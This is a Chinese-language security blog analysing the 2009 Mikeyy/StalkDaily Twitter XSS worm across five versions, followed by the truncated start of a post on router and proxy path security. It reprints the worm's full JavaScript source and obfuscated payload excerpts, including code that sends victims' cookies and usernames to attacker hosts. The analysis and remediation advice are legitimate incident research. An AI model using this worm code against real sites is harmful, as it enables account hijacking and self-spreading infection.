昨天那篇的最後一句我們說：「twitter不見得能找到所有含有XSS漏洞的程式碼，再加上Mikeyy表示不一定就此罷手，故往後仍有一些風險。」結果不幸言中，昨晚Mikeyy蠕蟲之三代與四代（其實有五代）重現，造成另一波混亂，連TechCrunch也再度報導了一次（真難得一個資安事件連續兩天被TechCruch報導），並認為此事件會對twitter的聲譽造成嚴重的打擊。

我們觀察到的Mikeyy (StalkDaily)蠕蟲，其實有五個版本，後來的版本還用了特殊的混碼（obfuscation）。在這篇，我們第一次詳細地研究此蠕蟲。

[第一代Mikeyy（StalkDaily）]

第一代的蠕蟲沒有編碼，第78-80行，會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com，成功盜取使用者登入資訊：


這根Mikeyy的說法，他並沒有偷盜使用者帳號，是不一樣的，事實上是有。另外，此時蠕蟲本體javascript放置於hxxp://http://mikeyylolz.uuuq.com/x.js，密碼也是回傳至mikeyylolz.uuuq.com。

第一代要攻擊弱點為「url」（web）與「location」等欄位之XSS（跨站腳本攻擊）漏洞：



此時受感染者會發出訊息包括：

  randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
  randomUpdate[1]="Join www.StalkDaily.com everyone!";
  randomUpdate[2]="Woooo, www.StalkDaily.com :)";
  randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
  randomUpdate[4]="Wow...www.StalkDaily.com";
  randomUpdate[5]="@twitter www.StalkDaily.com";

[第二代Mikeyy（StalkDaily）]

第二代整隻經過自動工具兩層的混碼，真的很討厭。原始javascript（節錄）：

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

脫第一層殼之後，可以看到（節錄）：

var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
 
function XHConn(){
  var _0x6687x2,_0x6687x3=false;
  try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
  catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
  catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
  catch(e) { _0x6687x2=false; }; }; };

此時由於mikeyylolz.uuuq.com被關閉，蠕蟲本體改放在「content.ireel.com/xssjs.js」與「http://content.ireel.com/jsxss.js」，回傳位置則改為包括「hxxp://omghax.uuuq.com/x.php」與「hxxp://content.ireel.com/j.php」等位置。從上面的程式可以看出，此時被感染的使用者，會被冒發下列訊息：

"Twitter should really fix this... Mikeyy"
"I am done... Mikeyy"
"Mikeyy is done.."
"Twitter please fix this, regards Mikeyy"

同時並可以看出，Mikeyy還是有偷使用者帳號與cookie，只是程式移到了wait()函式內。

此外，二代開始打不同的XSS（跨站腳本攻擊）弱點，包括「profile_background_tile」與「profile_link_color」等變數。

[第三代Mikeyy（StalkDaily）]

第三代與第二代大致上相同，唯由於偷密碼位置「hxxp://omghax.uuuq.com」亦被關閉，故帳號與cookie改回報至「hxxp://bambamyo.110mb.com/j.php」，並將蠕蟲javascript本體放至「http://bambamyo.110mb.com/wompwomp.js」。

一至三代共同點：
1. 皆會偷使用者帳號與cookie

一與二、三代不同點：
1. 一代無混碼，二、三代有
2. 惡意javascript放至位置與回報帳號/cookie之位置不同
3. 攻擊之XSS（跨站腳本攻擊）弱點不同
4. 冒發之訊息不同

此三代twitter於星期天（亞洲時間）處理完畢並修正了XSS漏洞。

[第四代Mikeyy（StalkDaily）]

第四代於亞洲時間星期一晚上爆發，沒有編碼，主打「name」欄位的XSS（跨站腳本攻擊）弱點，該弱點當時twitter並未修復，蠕蟲再度快速擴散。此時特別的是，Mikeyy反正已經公開承認是蠕蟲他做的，也就不隱藏了，把惡意javascript直接放在自己的「StalkDaily.com」網站上。以下四代程式碼節錄：

  randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';

解出來為：

<script src="http://www.stalkdaily.com/ajax.js"></script>

第四代並將偷使用者帳號與cookie的程式移除了。

此時冒發的訊息為：

  randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
  randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
  randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
  randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/cojc6s";
  randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
  randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/4ywBID";
  randomUpdate[6]="How TO remove new Mikeyy worm! RT!!  http://bit.ly/yCL1s";

[第五代Mikeyy（StalkDaily）]
很快地，Mikeyy散發出了第五代，此時亞洲也有使用者注意到了：



五代大致上與四代相同，唯加上了記錄使用者帳號的一行程式，但是跟一至三代不同，五代只記錄帳號，並未偷竊密碼，回報處也直接是「hxxp://www.stalkdaily.com/x.php」：

function wait()
{
  var content = document.documentElement.innerHTML;

  userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
  var username = userreg.exec(content);
  username = username[1];

  document.write("<img src='http://www.stalkdaily.com/x.php?username=" + username + "'>");

記錄被感染者帳號的「x.php」一開始時，會直接寫入http://www.stalkdaily.com/users.txt中，我們可以看到當時被感染的使用者帳號（目前twitter已經都處理完畢）：



看到時，我決定跟Mikeyy打聲招呼，於是下了：「http://www.stalkdaily.com/x.php?username=greetings_from_wayne」...

可是reload users.txt，怎麼沒有出現呢？再下一次時，出現錯誤訊息：



原來Mikeyy改了x.php，不再寫到users.txt，改寫入mysql資料庫。

五代冒發之訊息只有一條：「Twitter, hire Mikeyy! (718)...」（推特，聘用Mikeyy！），後面是Mikeyy的電話，由於Mikeyy可能未成年，這邊就刪了。

[觀察]
觀察：
1. 過了三年，從Samy到Mikeyy，XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲，花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
4. 果然不幸被我們言中，twitter那時無法一下子把所有漏洞修完，故隔天讓四代與五代有機可乘

[建議被感染之使用者：]
1. 登出twitter，清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔，通常在C:\Windows\System32\drivers\etc或類似目錄下，並加入以下五行，可以防止瀏覽器下載該惡意javascript：
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛，避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正（profile關閉者注意是否有被打開）

作者 Wayne 為阿碼科技CEO

相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」（本篇）
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」

後記：
當初在SANS日誌上寫ARP掛馬的Bojan Zdrnja，昨天在SANS日誌上也很快地針對Mikeyy所用之javascript混碼（變形）發表了第二篇關於Mikeyy蠕蟲之報告（前一天之報告在此）：Twitter worm copycats，其中提及：這個手法跟我上星期介紹的變形手法如出一轍，他們在看SANS日誌嗎？
（are they reading the ISC diaries?）

這讓我想到之前我們寫的「網路藍色藥丸？首支攻擊路由器之蠕蟲出現：再談路徑之安全性」中，早在今年一月就率先分析該路由器蠕蟲之Teamfurry，在其最新的blog上指出，經過了三個月，PSYB0T已經有了演進，「應該是看到了Terry的blog」。

非也，SANS的Bojan，錯了，Teamfurry的Terry，根據台灣某blogger，「駭客不會沒事看blog的」...

後後記：很不幸，twitter在五代之後還是沒正確修改漏洞，六代捲土重來，相關文章如上列。

繼續閱讀全文...

17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的

昨天晚上開始，twitter上以驚人的速度，不斷有人抱怨被「我被StalkDaily蠕蟲攻擊了！」Twitter很紅的介面之一TweetVisor也在畫面左邊顯示警告：




不久之後，twitter公佈，這是twitter的跨站腳本攻擊（cross-site scripting，XSS）漏洞所導致的，目前已經將漏洞修掉了：



事發初期，TechCrunch有報導（很少資安新聞能夠上TechCrunch），並有網友留言公開原始XSS蠕蟲之程式碼如下：

function XHConn()
{
  var xmlhttp, bComplete = false;
  try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
  catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
  catch (e) { try { xmlhttp = new XMLHttpRequest(); }
  catch (e) { xmlhttp = false; }}}
  if (!xmlhttp) return null;
  this.connect = function(sURL, sMethod, sVars, fnDone)
  {
    if (!xmlhttp) return false;
    bComplete = false;
    sMethod = sMethod.toUpperCase();
    try {
      if (sMethod == "GET")
      {
        xmlhttp.open(sMethod, sURL+"?"+sVars, true);
        sVars = "";
      }
      else
      {
        xmlhttp.open(sMethod, sURL, true);
        xmlhttp.setRequestHeader("Method", "POST "+sURL+" HTTP/1.1");
        xmlhttp.setRequestHeader("Content-Type",
          "application/x-www-form-urlencoded");
      }
      xmlhttp.onreadystatechange = function(){
        if (xmlhttp.readyState == 4 && !bComplete)
        {
          bComplete = true;
          fnDone(xmlhttp);
        }};
      xmlhttp.send(sVars);
    }
    catch(z) { return false; }
    return true;
  };
  return this;
}
 
function urlencode( str ) {
    var histogram = {}, tmp_arr = [];
    var ret = str.toString();
    
    var replacer = function(search, replace, str) {
        var tmp_arr = [];
        tmp_arr = str.split(search);
        return tmp_arr.join(replace);
    };
    
    histogram["'"] = '%27';
    histogram['('] = '%28';
    histogram[')'] = '%29';
    histogram['*'] = '%2A';
    histogram['~'] = '%7E';
    histogram['!'] = '%21';
    histogram['%20'] = '+';
    
    ret = encodeURIComponent(ret);
    
    for (search in histogram) {
        replace = histogram[search];
        ret = replacer(search, replace, ret)
    }
 
    return ret.replace(/(\%([a-z0-9]{2}))/g, function(full, m1, m2) {
        return "%"+m2.toUpperCase();
    });
    
    return ret;
}
 
var content = document.documentElement.innerHTML;
userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];
 
var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");
 
function wait()
{
  var content = document.documentElement.innerHTML;
 
  authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
  var authtoken = authreg.exec(content);
  authtoken = authtoken[1];
  //alert(authtoken);
  
  var Randomupdate=new Array();
  randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
  randomUpdate[1]="Join www.StalkDaily.com everyone!";
  randomUpdate[2]="Woooo, www.StalkDaily.com :)";
  randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
  randomUpdate[4]="Wow...www.StalkDaily.com";
  randomUpdate[5]="@twitter www.StalkDaily.com";
  
  var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
  
  updateEncode = urlencode(genRand);
  
  var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
  
  var ajaxConn = new XHConn();
  ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&supdates="+updateEncode+"&tab=home&update=update");
  var ajaxConn1 = new XHConn();
  ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
}
setTimeout("wait()",3250);

這隻蠕蟲利用了twitter的XSS漏洞，感染twitter使用者profile的「location」或「web」欄位，寫入惡意javascript（來源：hxxp://http://mikeyylolz.uuuq.com/x.js）。這隻javascript一方面會已被感染之使用者帳號發出tweet，推「www.stalkdaily.com」這個網站，一方面則會在其他使用者瀏覽該profile時，成功感染並散播。

程式碼很短，我們來研究一下，重點從第73行開始。73-76行，利用regex找出該受害使用者之正確twitter帳號。78-80行，會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com，成功盜取使用者登入資訊，以後攻擊者可以利用此資訊以受害者身份登入。
接下來攻擊程式就要透過twitter的HTTP POST介面來修改使用者之「web」欄位，插入惡意javascript，以感染其他使用者了。83行開始是一個wait()函式，要過三秒後才會執行。85-89行利用regex找出「form_authenticity_token」這個表單變數。Twitter使用該隱藏之表單變數來對應session，應該有避免CSRF漏洞之用意。所以呼叫twitter的HTTP POST介面時，都需要帶此變數。93-102行，內建了六個要以受害者名義發出之tweet，主要都是推「www.stalkdaily.com」這個網站，並隨機選一個tweet，準備發送。104行是實際的XSS攻擊碼，插入惡意javascript。106-109，四行的程式做了兩件事：a)透過twitter的HTTP POST介面，發出假tweet，以及b)同法，修改「web」，以便感染其他使用者。

我們複製該攻擊，並用paros觀察，確定可以成功，唯目前twitter已經將字串過濾，有效修補了此XSS漏洞：




這個攻擊不需要特殊的權限才能進行。攻擊者可以先註冊幾個twitter帳號，並在該帳號之「web」欄位插入惡意javascript，並藉由該帳號發出一些吸引人之tweet，或開始跟隨別人。很多人會自動跟隨他們的跟隨者，所以你跟隨很多人之後，會自然有些人跟隨你，或至少會有人看一下你的profile，看看你是誰。一看你的profile，該使用者的「web」欄位就會被感染了，蠕蟲也就靠此散播。

根據網友在TechCrunch留言表示，該XSS漏洞於一星期前仍不存在，應該是最近twitter小幅改版造成的，沒想到很快就遭到利用。事發當初，StalkDaily於首頁上發表聲明，表示該站絕對與事件無關：



但是由於一下子感染太多人，一下子紙包不住火，很快地，StalkDaily的創辦人，17歲的Mikeyy Mooney就接受BNOnews採訪，承認是他寫的蠕蟲，同時也在網站登出了聲明：



報導中說，Mikeyy才17歲。這個事件當然讓我們想到了著名的Samy。2005年，當時才19歲的Samy，也是寫了一隻類似（但較複雜）的蠕蟲，很快的在MySpace上散播，並因為散播太快而導致MySpace當機。Samy當時被美國秘密警察逮捕，判三年緩刑與90天的社區服務。在OWASP US 2007會議上，OWASP有邀請Samy來演講，以下照片是演講完時Samy與阿碼同事討論的情形（上圖從左：阿碼Walter、Kuon、Jordan、Chris、Matt，白色衣服為Samy，下圖：阿碼Kuon送Samy一件armorize 31337 tshirt）。


Samy表示，那時他才19歲，為了跟女友打賭他可以在MySpace上擁有很多粉絲，將他設成英雄（Hero），但是又達不到，才突然想到不如寫隻程式作弊好了！當時Samy不懂資安，也不懂什麼是XSS弱點，只是稍微研究了一下MySpace，就發現有漏洞可以利用。蠕蟲出去後，很快地，Samy有了支持者，他們的profile上面加了一行：「Samy's my hero!（Samy是我的英雄）」。Samy得意了以後一想不對，這個蠕蟲的散播是exponential的，不是linear的，天哪！於是他趕快上MySpace，把自己的帳號刪除，但是結果發現MySpace說，帳號無法立即刪除，但是稍後會刪除。第二天起床，他連往自己的帳號，連不到，心想，好在好在，帳號刪除了，我沒事...但是結果連往女友的帳號，發現也連不上，後來發現所有朋友的帳號都連不上...原來MySpace當機了！Samy從此活在恐懼中，直到有一天，果然，他回家，就被秘密警察逮捕了。

Samy的並沒有被判很重的刑，因為他其實不懂資安，也沒有利用XSS弱點來偷別人的帳號，只是單純的把別人的帳號加了一行：Samy是我的英雄，並植入惡意javascript感染他人。當時他演講時，還是不能碰電腦的（只有工作時可以碰電腦），所以由OWASP工作人員幫他操作投影片。

這次Mikeyy Mooney比Samy更年輕，只有17歲，但是如果被逮捕，可能不一定這麼好過，因為程式碼中之地80行，明顯地是在偷他人的帳號與cookie，並回傳至自己的網站。住在紐約的Mikkey在之後的Net News Daily訪問中表示，他是於一個星期前發現該XSS漏洞，並於昨晚花了兩個小時寫出了此蠕蟲。在被問到還會不會寫新的蠕蟲時，他表示不確定，如果twitter的程式還不正確的處理變數，那就有可能。相對於那時純粹出於好玩而犯錯的Samy，Mikeyy的這些談話，加上剛才我在youtube上發現他之前就有把打其他站的過程上傳，我覺得...Mikeyy最好保重，我不認為法官會像Samy一樣處理Mikeyy，也不覺得大家會那麼容易像原諒Samy一樣原諒Mikeyy。

此外，根據蒐集的資料，Mikeyy後來也將該惡意javascript編碼，譬如以下tweet的回報：



解出來為content.ireel.com/xssjs.js，目前檔案還在，內容節錄如下：

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

單純16進位編碼，不是什麼特殊的混碼（obfuscation），解出來程式跟上面的大同小異。
此外，根據蒐集的資料，twitter很明顯地在不只一個欄位有XSS漏洞，而Mikeyy也成功利用了其他欄位。twitter不見得能找到所有含有XSS漏洞的程式碼，再加上Mikeyy表示不一定就此罷手，故往後仍有一些風險。

結論：
1. 受感染之Twitter使用者會發出tweet，幫StalkDaily打廣告
2. 受感染之Twitter使用者會遭受惡意javascript偷帳號與cookie（等同密碼）
3. 瀏覽受感染使用者之profile，就會被感染，並被偷密碼
4. Twitter已經承認該蠕蟲為利用Twitter之XSS漏洞，並已經修復漏洞
5. 我們測試，攻擊確實為有效攻擊
6. 負責傳播惡意javascript程式的網址目前已知有：
A. mikeyylolz.uuuq.com （已被停用）
B. content.ireel.com（還在）
C. omghax.uuuq.com（已被停用）
D. www.stalkdaily.com
E. bambamyo.110mb.com

建議被感染之使用者：
1. 登出twitter，清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔，通常在C:\Windows\System32\drivers\etc或類似目錄下，並加入以下五行，可以防止瀏覽器下載該惡意javascript：
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛，避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正（profile關閉者注意是否有被打開）

觀察：
1. 過了三年，從Samy到Mikeyy，XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲，花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞

作者 Wayne 為阿碼科技CEO
p.s. 看中文的朋友，我的中文twitter：http://twitter.com/waynehuang2
（以下為好友Jeremiah與RSnake（ha.ckers.org / sla.ckers.org）穿著「SAMY IS MY HERO（Samy是我的英雄）」Tshirt，於OWASP-WASC 2007與Samy的合照）

（來源：http://garrettgee.com）

後記：Sans與F-Secure都出來講話了（連結），但是我們快一些 :)
後後記：不幸言中，Mikeyy四代與五代隔天爆發，見下一篇：「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
後後後記：很不幸，twitter在五代之後還是沒正確修改漏洞，六代捲土重來，相關文章如下：

2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」（本篇）


繼續閱讀全文...

實際演練說明，你的路徑安全嗎？CERT: 攔截式代理伺服器有漏洞、SANS：小心你的路由器！

（本文中你將看到實際的演練，在真實的網路上，我們會示範如何藉由攔截式代理伺服器的漏洞，取得路由器與其他內網伺服器的管理介面與登入prompt。測試點不在台灣。）

這篇之中我們繼續討論路徑上之安全性，但開始之前，我們先做一下聲名。本文章宗旨在於探討在現今複雜之網路架構中之路徑安全性，內容與任何資安事件皆無關連性。三月初於台灣發生的大規模轉址事件，目前相關各單位與我們的結論大致一樣，我們的研究正確，TTL=7以下為攻擊發生點，但是TTL=7這台路由器並非屬於國內任何一家ISP所有。我們的研究一樣沒有指出責任歸屬，我們說過我們有興趣的是技術面。但是大家看到我們公佈的IP可能就開始猜測是哪家ISP。攻擊者位於路徑border沒有錯（就是不同ISP交會處），而在border上的路由器一般都有多個介面，各對應不同ISP所給的IP，我們從台灣trace，看到的介面IP會屬國內ISP沒有錯，但是並不表示此台路由器就歸國內ISP所管。事實上如果各位看我們當初traceroute畫面上的時間差就可以發現，TTL=7應該已經出台灣了，事後經過求證也如此。所以如果把矛頭轉向國內ISP並不正確。另外也不表示是路由器出問題，只確定是TTL=7那台路由器以下都有可能，但是絕不像其他專家所說，是ARP掛馬以及發生點位於網站端。當然我們也得知了，出問題之設備為網路設備但是非路由器，至於究竟是那個廠牌的什麼設備，這邊就不繼續討論了。我們的研究價值，主要不在於探討究竟是國內還是國外的ISP出問題，還是哪一家設備商的產品出問題，我們是在探討，究竟威脅存在於哪裡？駭客可以使用哪些技術？

那時根據我們的經驗，以及最近SANS，CERT以及各知名資安專家近期的研究，懷疑的威脅包括了：
(1). ARP 掛馬，發生於網站端
(2). 路由器出問題
(3). 路徑中的proxy出問題或cache被poison
(4). 其他L3或L4 switch出問題
(5). 流量被mirror到的其他地方（IDS、流量統計設備等）被ARP掛馬

但是後來經過種種實際的封包實驗與分析，先排出了(1)，後來又排除了(2)與(5)。至於到底起因為何，由於後來事件不是我們調查的，我們不適合發表，只能說，事件發生點在TTL=7以下，但TTL=7已經不在台灣。ARP掛馬由於用在乙太網路上，唯一般人很容易接觸到的攻擊，但是資安專家看得面象要夠廣，並根據實際測試或證據來判斷威脅。2008開始，路徑上的威脅與研究都明顯增加，CERT、SANS、各資安研究員都不斷發表報告或警訊。會猜測是ARP掛馬，主要原因是ARP掛馬攻擊實在太氾濫了。但是同時，駭客要改網路設備的設定來mirror流量，其實並不難，若注意最近國外知名研究員，CERT，SANS都在說路由器怎麼被感染的。網路上攻擊形形色色，無時無刻在進行，駭客無時無刻在進步。由於種種ARP工具，隨處都抓得到，也隨處都能玩（有乙太網路就好），於是之後的直接反應就是，各種轉址綁架攻擊，都一定是ARP掛馬所致，而當我們說可能是路由器出問題，或路徑上其他設備出問題時，則表示不可思議，路由器怎麼被入侵？感染？有這種技術嗎？路由器可以mirror traffic？L4/L7 switch會被入侵？

[SANS: 小心你的路由器！]

的確，路徑上的種種設備，不是一般人容易接觸到的，我們也常覺得自己研究起來辛苦，跟在電信業上班，每天穿梭機房的工程師比起來，我們對於網路的熟悉度要弱很多...但是至少我們也摸了不少，見了不少，透過關係「借測」了不少，並且常做功課。因為如果覺得駭客只會乙太網路上的一些普遍的基本功，那就太小看駭客了。各位不知是否還記得2007年被判刑入獄的23歲路由器駭客Robert Moore的名言：「It's so easy. It's so easy a caveman can do it（太容易了，野人都會）」。Robert專門入侵VoIP路由器，然後販賣頻寬獲利，入獄前一共駭了15家VoIP ISP業者。他受訪時表示，大約45%到50%的VoIP業者的網路都是不安全的。最大的問題在哪？「我會說，85%的問題出在沒有設定好的路由器，很多設備都用了內定的密碼（I'd say 85% of them were misconfigured routers. They had the default passwords on them）」。「你不會相信網路上有多少路由器的密碼是"admin"或"Cisco0"」，他說。三月30日，SANS發佈警訊，標題是「小心你的路由器！（Watch your Internet routers!）」，報告中詳細介紹了剛發生的一個剛發生的路由器入侵事件（這裡指的是企業級路由器，非之前我們提的家用路由器感染事件），並說：「他連進來還沒五分鐘，已經建好一個tunnel回他家了（Barely five minutes after connecting, and he has configured a network tunnel back to his home base.）」。修改網路設備的設定，開tunnel，其實做過的人就知道，可能比執行zxarps還要容易，也不太會增加設備的loading，只是一般人不容易玩到就是了。

[CERT與SANS: 攔截式代理伺服器有漏洞]

2009年三月初，台灣與新加坡之間有流量被綁架，而由於二月底時，CERT針對攔截式代理伺服器有公佈警告：「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections(VU#435052)」 ，於是我們做了一些測試，並發現了路徑上的一些問題。後來根據我們做的種種測試與研究，我們的結論是，以下探討的「攔截式代理伺服器」漏洞，不太可能與轉址事件有關連。在事件過後，我們覺得當初做的研究仍有參考價值，故在週末抽空記錄一下當時的研究。我們這篇以探討技術為主，我們拿來實測的有弱點的proxy，依了解並不位於國內。

當初對CERT這篇有興趣，主要是CERT中列了許多大廠牌的代理伺服器，都還是有此問題，而我們記得此問題在2002年時就已經炒熱，沒想到事隔多年，問題並沒有改，而今年又吸引了研究人員的注意。我們先直接來看這個威脅究竟在講什麼。現在的網路環境複雜，不但有各家專做content delivery network(CDN)的廠商如Akamai、Amazon CloudFront等負責幫各大網站在世界各地提供資料，路徑中也有各式的攔截式代理伺服器（intercepting proxy）、透通式伺服器（transparent proxy）、L4/L7 switch等設備。對於常常出差的我們來說，常可以感受得出把資料放在CDN上的方便性。有使用類似技術的大站如Google、MySpace、Amazon或甚至BestBuy等，不論在哪裡（例如印度偏遠地區），當別的網站變成龜速時，這些架構於CDN上之網站，總是能維持相當的速度；網路不穩無法連回公司mail server時，就立刻感受gmail之好用。各地的ISP也為了降低長距離的流量，而建置了各式的L4/L7 switch，WCCP路由器，Web加速器（cache），代理伺服器等等。在方便之餘，也不禁讓我們想到，我們在網路上做這麼多事情時，我們的資料到底經過了誰？我們接收的資料又來自誰？譬如這次三月份台灣大規模轉址攻擊事件，其實我個人並不在意被轉址到惡意網站，反正我有很多保護措施（而且我們的工作本來每天就接觸許多惡意網站），但是攻擊者明顯可以看到我的流量，這是我很在意的。攻擊程式如果沒有解除，而只是不主動送假封包轉址，而改成監聽流量，那麼平時上網時之心理壓力就會倍增了。

今年路徑安全之研究真的很紅，上，今年（2009）三月16-20於溫哥華舉辦的CanSecWest 2009資安會議上（投影片下載），Dan Kaminsky講的，就是有關路徑安全的研究。去年因為在BlackHat / DEFCON 2008上公開DNS漏洞之超級紅人Dan Kaminsky（這裡有我們的報導，另外其實他一直很紅），於會前（三月9日）在他的部落格上說：「似乎我們在2000-2002年間做了很多相關（網路層）的研究，然後...我們好像就停止了。今年在我的CanSecWest演講中，我就要來討論在deep packet inspection的年代的中間人威脅（paper：WORD下載、PDF下載）...從位於路徑中的設備（middle of networks）上，我看到了種種的威脅」。隔一天，SANS立刻針對此發出警告：「Browser plug-ins, transparent proxies and same origin policies」。

